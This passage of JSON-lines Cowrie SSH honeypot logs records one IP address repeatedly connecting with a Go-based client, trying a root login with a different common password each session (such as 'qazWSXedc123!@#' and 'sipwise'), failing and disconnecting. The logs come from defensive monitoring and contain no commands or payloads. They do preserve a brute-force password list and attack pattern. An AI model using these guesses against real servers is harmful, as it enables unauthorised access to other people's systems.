{"eventid":"cowrie.login.failed","username":"root","password":"Ubuntu123","message":"login attempt [root/Ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:26.867984Z","src_ip":"60.165.124.241","session":"2bb216c4c6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:28.117668Z","src_ip":"60.165.124.241","session":"2bb216c4c6bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52494,"dst_ip":"10.17.0.5","dst_port":22,"session":"53e115b8da69","protocol":"ssh","message":"New connection: 60.165.124.241:52494 (10.17.0.5:22) [session: 53e115b8da69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:28.358877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:28.365639Z","src_ip":"60.165.124.241","session":"53e115b8da69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:28.621586Z","src_ip":"60.165.124.241","session":"53e115b8da69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazWSXedc123!@#","message":"login attempt [root/qazWSXedc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:29.355729Z","src_ip":"60.165.124.241","session":"53e115b8da69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:30.604575Z","src_ip":"60.165.124.241","session":"53e115b8da69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55694,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef7b8282e0d0","protocol":"ssh","message":"New connection: 60.165.124.241:55694 (10.17.0.5:22) [session: ef7b8282e0d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:30.837063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:30.845467Z","src_ip":"60.165.124.241","session":"ef7b8282e0d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:31.090677Z","src_ip":"60.165.124.241","session":"ef7b8282e0d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Apple123","message":"login attempt [root/Apple123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:31.832178Z","src_ip":"60.165.124.241","session":"ef7b8282e0d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:33.077451Z","src_ip":"60.165.124.241","session":"ef7b8282e0d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58880,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d3111d4d1da","protocol":"ssh","message":"New connection: 60.165.124.241:58880 (10.17.0.5:22) [session: 9d3111d4d1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:34.320079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:34.325094Z","src_ip":"60.165.124.241","session":"9d3111d4d1da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:34.568280Z","src_ip":"60.165.124.241","session":"9d3111d4d1da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123123a","message":"login attempt [root/A123123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:35.323561Z","src_ip":"60.165.124.241","session":"9d3111d4d1da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:36.564275Z","src_ip":"60.165.124.241","session":"9d3111d4d1da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34416,"dst_ip":"10.17.0.5","dst_port":22,"session":"351dc524fb04","protocol":"ssh","message":"New connection: 60.165.124.241:34416 (10.17.0.5:22) [session: 351dc524fb04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:36.803784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:36.814359Z","src_ip":"60.165.124.241","session":"351dc524fb04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:37.055447Z","src_ip":"60.165.124.241","session":"351dc524fb04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sipwise","message":"login attempt [root/sipwise] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:37.787179Z","src_ip":"60.165.124.241","session":"351dc524fb04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:39.048819Z","src_ip":"60.165.124.241","session":"351dc524fb04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37292,"dst_ip":"10.17.0.5","dst_port":22,"session":"83b3a1d41587","protocol":"ssh","message":"New connection: 60.165.124.241:37292 (10.17.0.5:22) [session: 83b3a1d41587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:39.314324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:39.318683Z","src_ip":"60.165.124.241","session":"83b3a1d41587","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:39.577229Z","src_ip":"60.165.124.241","session":"83b3a1d41587","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123QWE!@#","message":"login attempt [root/qwe123QWE!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:40.375104Z","src_ip":"60.165.124.241","session":"83b3a1d41587","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:41.625568Z","src_ip":"60.165.124.241","session":"83b3a1d41587","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40584,"dst_ip":"10.17.0.5","dst_port":22,"session":"988d7243f8ce","protocol":"ssh","message":"New connection: 60.165.124.241:40584 (10.17.0.5:22) [session: 988d7243f8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:41.861217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:41.869255Z","src_ip":"60.165.124.241","session":"988d7243f8ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:42.127425Z","src_ip":"60.165.124.241","session":"988d7243f8ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd1234@","message":"login attempt [root/Abcd1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:42.859617Z","src_ip":"60.165.124.241","session":"988d7243f8ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:44.115434Z","src_ip":"60.165.124.241","session":"988d7243f8ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43614,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e27517248dd","protocol":"ssh","message":"New connection: 60.165.124.241:43614 (10.17.0.5:22) [session: 3e27517248dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:44.365511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:44.370249Z","src_ip":"60.165.124.241","session":"3e27517248dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:44.614955Z","src_ip":"60.165.124.241","session":"3e27517248dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123456!","message":"login attempt [root/qwer123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:45.384857Z","src_ip":"60.165.124.241","session":"3e27517248dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:46.645531Z","src_ip":"60.165.124.241","session":"3e27517248dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46416,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fe00e296760","protocol":"ssh","message":"New connection: 60.165.124.241:46416 (10.17.0.5:22) [session: 8fe00e296760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:46.877493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:46.888892Z","src_ip":"60.165.124.241","session":"8fe00e296760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:47.139424Z","src_ip":"60.165.124.241","session":"8fe00e296760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zz123456@","message":"login attempt [root/Zz123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:48.585210Z","src_ip":"60.165.124.241","session":"8fe00e296760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:49.840387Z","src_ip":"60.165.124.241","session":"8fe00e296760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50140,"dst_ip":"10.17.0.5","dst_port":22,"session":"8651d1f799b5","protocol":"ssh","message":"New connection: 60.165.124.241:50140 (10.17.0.5:22) [session: 8651d1f799b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:50.100214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:40:50.104556Z","src_ip":"60.165.124.241","session":"8651d1f799b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.